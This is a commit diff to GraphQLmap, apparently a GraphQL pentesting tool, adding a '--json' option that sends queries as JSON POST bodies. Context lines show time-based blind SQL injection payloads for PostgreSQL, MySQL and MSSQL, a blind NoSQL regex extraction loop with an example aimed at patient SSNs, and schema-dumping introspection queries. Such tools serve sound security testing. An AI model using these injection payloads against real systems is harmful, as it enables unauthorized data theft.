commit
88dd1c240a
|
@ -39,6 +39,7 @@ optional arguments:
|
||||||
-v [VERBOSITY] Enable verbosity
|
-v [VERBOSITY] Enable verbosity
|
||||||
--method [METHOD] HTTP Method to use interact with /graphql endpoint
|
--method [METHOD] HTTP Method to use interact with /graphql endpoint
|
||||||
--headers [HEADERS] HTTP Headers sent to /graphql endpoint
|
--headers [HEADERS] HTTP Headers sent to /graphql endpoint
|
||||||
|
--json Send requests using POST and JSON
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
36
attacks.py
36
attacks.py
|
@ -2,16 +2,16 @@
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
|
|
||||||
def display_types(URL, method, headers):
|
def display_types(URL, method, headers, use_json):
|
||||||
payload = "{__schema{types{name}}}"
|
payload = "{__schema{types{name}}}"
|
||||||
r = requester(URL, method, payload, headers)
|
r = requester(URL, method, payload, headers, use_json)
|
||||||
if r is not None:
|
if r is not None:
|
||||||
schema = r.json()
|
schema = r.json()
|
||||||
for names in schema['data']['__schema']['types']:
|
for names in schema['data']['__schema']['types']:
|
||||||
print(names)
|
print(names)
|
||||||
|
|
||||||
|
|
||||||
def dump_schema(url, method, graphversion, headers):
|
def dump_schema(url, method, graphversion, headers, use_json):
|
||||||
"""
|
"""
|
||||||
Dump the GraphQL schema via Instrospection
|
Dump the GraphQL schema via Instrospection
|
||||||
|
|
||||||
|
@ -27,7 +27,7 @@ def dump_schema(url, method, graphversion, headers):
|
||||||
else:
|
else:
|
||||||
payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}"
|
payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}"
|
||||||
|
|
||||||
r = requester(url, method, payload, headers)
|
r = requester(url, method, payload, headers, use_json)
|
||||||
schema = r.json()
|
schema = r.json()
|
||||||
|
|
||||||
print("============= [SCHEMA] ===============")
|
print("============= [SCHEMA] ===============")
|
||||||
|
@ -70,10 +70,10 @@ def dump_schema(url, method, graphversion, headers):
|
||||||
print("")
|
print("")
|
||||||
|
|
||||||
|
|
||||||
def exec_graphql(url, method, query, headers=None, only_length=0):
|
def exec_graphql(url, method, query, headers=None, use_json=False, only_length=0):
|
||||||
if headers is None:
|
if headers is None:
|
||||||
headers = {}
|
headers = {}
|
||||||
r = requester(url, method, query, headers)
|
r = requester(url, method, query, headers, use_json)
|
||||||
try:
|
try:
|
||||||
graphql = r.json()
|
graphql = r.json()
|
||||||
errors = graphql.get("errors")
|
errors = graphql.get("errors")
|
||||||
|
@ -102,7 +102,7 @@ def exec_graphql(url, method, query, headers=None, only_length=0):
|
||||||
return "\033[91m[!]\033[0m {}".format(str(e))
|
return "\033[91m[!]\033[0m {}".format(str(e))
|
||||||
|
|
||||||
|
|
||||||
def exec_advanced(url, method, query, headers):
|
def exec_advanced(url, method, query, headers, use_json):
|
||||||
print(query)
|
print(query)
|
||||||
|
|
||||||
# Allow a user to bruteforce character from a charset
|
# Allow a user to bruteforce character from a charset
|
||||||
|
@ -110,7 +110,7 @@ def exec_advanced(url, method, query, headers):
|
||||||
if "GRAPHQL_CHARSET" in query:
|
if "GRAPHQL_CHARSET" in query:
|
||||||
graphql_charset = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"
|
graphql_charset = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"
|
||||||
for c in graphql_charset:
|
for c in graphql_charset:
|
||||||
length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), headers, only_length=1)
|
length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), headers, use_json, only_length=1)
|
||||||
print(
|
print(
|
||||||
"[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c)))
|
"[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c)))
|
||||||
|
|
||||||
|
@ -123,42 +123,42 @@ def exec_advanced(url, method, query, headers):
|
||||||
|
|
||||||
for i in range(int(match[0])):
|
for i in range(int(match[0])):
|
||||||
pattern = "GRAPHQL_INCREMENT_" + match[0]
|
pattern = "GRAPHQL_INCREMENT_" + match[0]
|
||||||
length = exec_graphql(url, method, query.replace(pattern, str(i)), headers, only_length=1)
|
length = exec_graphql(url, method, query.replace(pattern, str(i)), headers, use_json, only_length=1)
|
||||||
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i))))
|
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i))))
|
||||||
|
|
||||||
# Otherwise execute the query and display the JSON result
|
# Otherwise execute the query and display the JSON result
|
||||||
else:
|
else:
|
||||||
print(exec_graphql(url, method, query, headers))
|
print(exec_graphql(url, method, query, headers, use_json))
|
||||||
|
|
||||||
|
|
||||||
def blind_postgresql(url, method, headers):
|
def blind_postgresql(url, method, headers, use_json):
|
||||||
query = input("Query > ")
|
query = input("Query > ")
|
||||||
payload = "1 AND pg_sleep(30) --"
|
payload = "1 AND pg_sleep(30) --"
|
||||||
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
||||||
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
|
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
|
||||||
requester(url, method, injected, headers)
|
requester(url, method, injected, headers, use_json)
|
||||||
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
||||||
|
|
||||||
|
|
||||||
def blind_mysql(url, method, headers):
|
def blind_mysql(url, method, headers, use_json):
|
||||||
query = input("Query > ")
|
query = input("Query > ")
|
||||||
payload = "'-SLEEP(30); #"
|
payload = "'-SLEEP(30); #"
|
||||||
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
||||||
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
|
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
|
||||||
requester(url, method, injected, headers)
|
requester(url, method, injected, headers, use_json)
|
||||||
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
||||||
|
|
||||||
|
|
||||||
def blind_mssql(url, method, headers):
|
def blind_mssql(url, method, headers, use_json):
|
||||||
query = input("Query > ")
|
query = input("Query > ")
|
||||||
payload = "'; WAITFOR DELAY '00:00:30';"
|
payload = "'; WAITFOR DELAY '00:00:30';"
|
||||||
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
||||||
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
|
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
|
||||||
requester(url, method, injected, headers)
|
requester(url, method, injected, headers, use_json)
|
||||||
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
|
||||||
|
|
||||||
|
|
||||||
def blind_nosql(url, method, headers):
|
def blind_nosql(url, method, headers, use_json):
|
||||||
# Query - include BLIND_PLACEHOLDER. e.g. {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
|
# Query - include BLIND_PLACEHOLDER. e.g. {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
|
||||||
query = input("Query > ")
|
query = input("Query > ")
|
||||||
# Check the input (known value) against the data found - e.g. 5d089c51dcab2d0032fdd08d
|
# Check the input (known value) against the data found - e.g. 5d089c51dcab2d0032fdd08d
|
||||||
|
@ -174,7 +174,7 @@ def blind_nosql(url, method, headers):
|
||||||
old_data = data
|
old_data = data
|
||||||
for c in charset:
|
for c in charset:
|
||||||
injected = query.replace("BLIND_PLACEHOLDER", data + c)
|
injected = query.replace("BLIND_PLACEHOLDER", data + c)
|
||||||
r = requester(url, method, injected, headers)
|
r = requester(url, method, injected, headers, use_json)
|
||||||
if check in r.text:
|
if check in r.text:
|
||||||
data += c
|
data += c
|
||||||
# display data and update the current line
|
# display data and update the current line
|
||||||
|
|
|
@ -18,6 +18,7 @@ class GraphQLmap(object):
|
||||||
args = None
|
args = None
|
||||||
url = None
|
url = None
|
||||||
headers = None
|
headers = None
|
||||||
|
use_json = False
|
||||||
|
|
||||||
def __init__(self, args_graphql):
|
def __init__(self, args_graphql):
|
||||||
print(" _____ _ ____ _ ")
|
print(" _____ _ ____ _ ")
|
||||||
|
@ -34,6 +35,7 @@ class GraphQLmap(object):
|
||||||
self.url = args_graphql.url
|
self.url = args_graphql.url
|
||||||
self.method = args_graphql.method
|
self.method = args_graphql.method
|
||||||
self.headers = None if not args_graphql.headers else json.loads(args_graphql.headers)
|
self.headers = None if not args_graphql.headers else json.loads(args_graphql.headers)
|
||||||
|
self.use_json = True if args_graphql.use_json else False
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
query = input("GraphQLmap > ")
|
query = input("GraphQLmap > ")
|
||||||
|
@ -45,28 +47,28 @@ class GraphQLmap(object):
|
||||||
display_help()
|
display_help()
|
||||||
|
|
||||||
elif query == "debug":
|
elif query == "debug":
|
||||||
display_types(self.url, self.method, self.headers)
|
display_types(self.url, self.method, self.headers, self.use_json)
|
||||||
|
|
||||||
elif query == "dump_new":
|
elif query == "dump_new":
|
||||||
dump_schema(self.url, self.method, 15, self.headers)
|
dump_schema(self.url, self.method, 15, self.headers, self.use_json)
|
||||||
|
|
||||||
elif query == "dump_old":
|
elif query == "dump_old":
|
||||||
dump_schema(self.url, self.method, 14, self.headers)
|
dump_schema(self.url, self.method, 14, self.headers, self.use_json)
|
||||||
|
|
||||||
elif query == "nosqli":
|
elif query == "nosqli":
|
||||||
blind_nosql(self.url, self.method, self.headers)
|
blind_nosql(self.url, self.method, self.headers, self.use_json)
|
||||||
|
|
||||||
elif query == "postgresqli":
|
elif query == "postgresqli":
|
||||||
blind_postgresql(self.url, self.method, self.headers)
|
blind_postgresql(self.url, self.method, self.headers, self.use_json)
|
||||||
|
|
||||||
elif query == "mysqli":
|
elif query == "mysqli":
|
||||||
blind_mysql(self.url, self.method, self.headers)
|
blind_mysql(self.url, self.method, self.headers, self.use_json)
|
||||||
|
|
||||||
elif query == "mssqli":
|
elif query == "mssqli":
|
||||||
blind_mssql(self.url, self.method, self.headers)
|
blind_mssql(self.url, self.method, self.headers, self.use_json)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
exec_advanced(args_graphql.url, self.method, query, self.headers)
|
exec_advanced(args_graphql.url, self.method, query, self.headers, self.use_json)
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
12
utils.py
12
utils.py
|
@ -20,12 +20,17 @@ def jq(data):
|
||||||
return json.dumps(data, indent=4, sort_keys=True)
|
return json.dumps(data, indent=4, sort_keys=True)
|
||||||
|
|
||||||
|
|
||||||
def requester(url, method, payload, headers=None):
|
def requester(url, method, payload, headers=None, use_json=False):
|
||||||
if method == "POST":
|
if method == "POST" or use_json:
|
||||||
data = {
|
data = {
|
||||||
"query": payload.replace("+", " ")
|
"query": payload.replace("+", " ")
|
||||||
}
|
}
|
||||||
r = requests.post(url, data=data, verify=False, headers=headers)
|
new_headers = {} if headers is None else headers.copy()
|
||||||
|
new_data = data.copy()
|
||||||
|
if use_json:
|
||||||
|
new_headers['Content-Type'] = 'application/json'
|
||||||
|
new_data = json.dumps(data)
|
||||||
|
r = requests.post(url, data=new_data, verify=False, headers=new_headers)
|
||||||
if r.status_code == 500:
|
if r.status_code == 500:
|
||||||
print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m")
|
print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m")
|
||||||
return None
|
return None
|
||||||
|
@ -42,6 +47,7 @@ def parse_args():
|
||||||
help="HTTP Method to use interact with /graphql endpoint", nargs='?', const=True, default="GET")
|
help="HTTP Method to use interact with /graphql endpoint", nargs='?', const=True, default="GET")
|
||||||
parser.add_argument('--headers', action='store', dest='headers', help="HTTP Headers sent to /graphql endpoint",
|
parser.add_argument('--headers', action='store', dest='headers', help="HTTP Headers sent to /graphql endpoint",
|
||||||
nargs='?', const=True, type=str)
|
nargs='?', const=True, type=str)
|
||||||
|
parser.add_argument('--json', action='store', dest='use_json', help="Use JSON encoding, implies POST", nargs='?', const=True, type=bool)
|
||||||
results = parser.parse_args()
|
results = parser.parse_args()
|
||||||
if results.url is None:
|
if results.url is None:
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
|
|
Loading…
Reference in New Issue